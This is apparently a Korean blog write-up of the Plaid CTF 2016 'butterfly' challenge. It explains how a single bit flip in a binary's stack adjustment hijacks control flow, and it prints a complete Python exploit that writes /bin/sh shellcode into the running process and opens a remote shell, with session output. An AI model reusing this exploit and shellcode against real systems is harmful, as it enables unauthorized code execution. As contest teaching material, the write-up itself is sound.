butterfly (150pt) write-up

butterfly (Plaid CTF 2016 Quals 150pt) write-up

64 bit elf 바이너리와 remote 서버가 주어졌습니다!

00


Analysis

01
butterfly in IDA

바이너리를 분석해봅시다!

16: v10에 최대 50바이트의 입력을 받는다.   
18: 입력한 문자열의 앞부분에 있는 정수 문자열을 정수로 변환한다.   
21, 22: 변환한 정수를 오른쪽으로 3비트 밀고 하위 3비트를 0으로 만든 후 그 주소(v7)로부터 0x1000 바이트 만큼의 영역에 rwx(7) 권한을 준다.   
20, 29: 변환한 정수(v4)를 오른쪽으로 3 비트 밀고, 그 주소에 쓰여진 값과 1을 왼쪽으로 정수(v4)의 하위 3 바이트 만큼 민 값을 xor 연산하여 저장한다.   
30: 주소(v7)로부터 0x1000 바이트 만큼의 영역에 r-x(5) 권한을 준다.   

해당 라인을 분석한 내용인데요, 결국 원하는 주소에 들어있는 1 바이트 중 원하는 1 비트를 바꿀 수 있습니다.

29: *(v4 >> 3) = (v4 & 7)

이므로 ([주소] << 3) | (7이하의 수) 를 입력하면 [주소]에 들어있는 값의 (7이하의 수)+1 번째 비트가 반전됩니다.
[주소]에 있는 값을 4와 xor 연산하고 싶다면 4는 2진수로 100(2)이니 ([주소] << 3) | 2 를 입력하면 됩니다.

이제 1 비트를 이용해서 EIP를 변조할 방법을 생각해야 하는데, 제일 먼저 눈에 들어오는 건 우리가 실행하고 있는 영역인 코드영역이죠?

02
main – return code

코드영역 0x400860 에는 “add rsp, 48h” 라는 코드가 들어있고 op code로는 “0x48 0x83 0xc4 0x48” 입니다.

여기서 0x400863 위치에 있는 0x48이 “48h”에 해당하는 값인데요, 이 값을 바꾸면 rsp의 위치를 변조할 수 있고 rsp 변조 가능하다는 것은 EIP 변조가 가능하다는 의미가 됩니다!
EIP를 원하는 곳으로 바꾸고 싶다면 우리의 입력값이 들어가는 영역인 v10의 영역 안으로 rsp를 가져와야 합니다. 입력값이 들어가는 v10의 영역은 rsp+0 부터 rsp+32h 까지입니다.
add 명령을 수행하고 나서 pop 명령어 네 번이 나오는 것 까지 생각하면, 0x48의 1 비트를 변조시켜서 0과 0xA 사이의 값이 나와야 하는데 가능한 경우는

0x48 ^ (1<<6) = 0x08

밖에 없습니다.

0x08 + 8*4(pop 네 번) = 40

이므로 입력값+40 위치에 있는 주소로 EIP가 바뀌게 됩니다.


EIP를 어디로 바꿔야 할까?

main함수는 원하는 1 비트를 바꿀 수 있는 코드지만 main함수가 계속 반복된다면 원하는 여러 주소에 있는 여러 비트들을 변경시킬 수 있고, 실행권한도 주어지니 쉘 코드를 올리고 실행하는 것도 가능하겠네요!

EIP는 main함수의 시작 위치로 바꿉시다.


shell code를 어디에 넣어야 할까?

원하는 주소에 값을 넣을 수 있지만 원래의 값과 xor 연산해서 들어가는 값입니다.
원하는 값을 넣어주고 싶다면 원래 어떤 값이 들어있는지도 알아야되는 상황인데요..
그렇다면 디버거를 통해 확인할 수 있는 코드 영역을 노릴 수 있습니다.
__libc_csu_init 함수에 shell code를 넣어봅시다.


EXPLOIT

from socket import *
from struct import *

p = lambda x : pack("<Q", x)
up = lambda x : unpack("<Q", x)

host = 'butterfly.pwning.xxx'
port = 9999

sock = socket(AF_INET, SOCK_STREAM, 0)
sock.connect((host, port))

def until(s, string):
    data = ''
    while string not in data:
        data += s.recv(1)
    return data

print until(sock, "RAY?\n")

main = 0x400788     # start main
target = 0x400890   # __libc_csu_init

shell = [0x48, 0x31, 0xd2, 0x48, 0xbb, 0x2f, 0x2f, 0x62, 0x69, 0x6e,
     0x2f, 0x73, 0x68, 0x48, 0xc1, 0xeb, 0x08, 0x53, 0x48, 0x89,
     0xe7, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0x0f, 0x05]

origin = [0x41, 0x57, 0x41, 0x56, 0x41, 0x89, 0xff, 0x41, 0x55, 0x41,
     0x54, 0x4c, 0x8d, 0x25, 0x16, 0x02, 0x20, 0x00, 0x55, 0x48, 
     0x8d, 0x2d, 0x16, 0x02, 0x20, 0x00, 0x53, 0x49, 0x89, 0xf6]

control_ret = 0x400863  # 48h (add rsp, 48h)

msg = str((control_ret<<3)|6)
msg += "A"*(40-len(msg)) + p(main) +"\n"
sock.send(msg)
print msg
print "[*] return address -> main"

print until(sock, "?\n")


## write shell code in __libc_csu_init

print "[*] write shell code"

for i in range(len(shell)):
    s = shell[i]
    o = origin[i]
    sxo = s^o
    bit = 0
    print str(i) + " write..."
    while sxo != 0:
        if bit > 7:
            print "[error] bit: " + str(bit)
            break
        mod = sxo % 2
        sxo = sxo / 2
        if mod == 1:
            until(sock, "RAY?\n")
            msg = str(((target+i)<<3)|(bit))
            msg += "A"*(40-len(msg)) + p(main) +"\n"
            sock.send(msg)
            until(sock, "?\n")
        bit = bit+1

print until(sock, "RAY?\n")
msg = str((target+40)<<3)
msg += "A"*(40-len(msg)) + p(target) +"\n"
sock.send(msg)
print msg
print "[*] return address -> target"
print until(sock, "?\n")

while True:
    cmd = raw_input('$ ')
    sock.send(cmd+"\n")
    print sock.recv(1024)

$ python ex_butterfly.py 
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?

33571614AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@

[*] return address -> main
WAS IT WORTH IT???

[*] write shell code
0 write...
1 write...
2 write...
3 write...
4 write...
5 write...
6 write...
7 write...
8 write...
9 write...
10 write...
11 write...
12 write...
13 write...
14 write...
15 write...
16 write...
17 write...
18 write...
19 write...
20 write...
21 write...
22 write...
23 write...
24 write...
25 write...
26 write...
27 write...
28 write...
29 write...
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?

33572288AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ 

[*] return address -> target
WAS IT WORTH IT???

$ id
uid=1001(problem) gid=1001(problem) groups=1001(problem)

$ ls
butterfly
flag
wrapper

$ cat flag
PCTF{b1t_fl1ps_4r3_0P_r1t3}

 

flag : b1t_fl1ps_4r3_0P_r1t3

수고하셨습니다 :)

 

written by rls1004

답글 남기기

아래 항목을 채우거나 오른쪽 아이콘 중 하나를 클릭하여 로그 인 하세요:

WordPress.com 로고

WordPress.com의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Google photo

Google의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Twitter 사진

Twitter의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Facebook 사진

Facebook의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

%s에 연결하는 중

%d 블로거가 이것을 좋아합니다:
search previous next tag category expand menu location phone mail time cart zoom edit close